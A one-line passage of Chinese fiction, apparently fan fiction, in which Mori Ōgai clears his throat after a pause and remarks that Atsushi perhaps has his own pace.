半晌,森鸥外清了清嗓子道: “嗯,可能,於菟他,有自己的节奏吧。”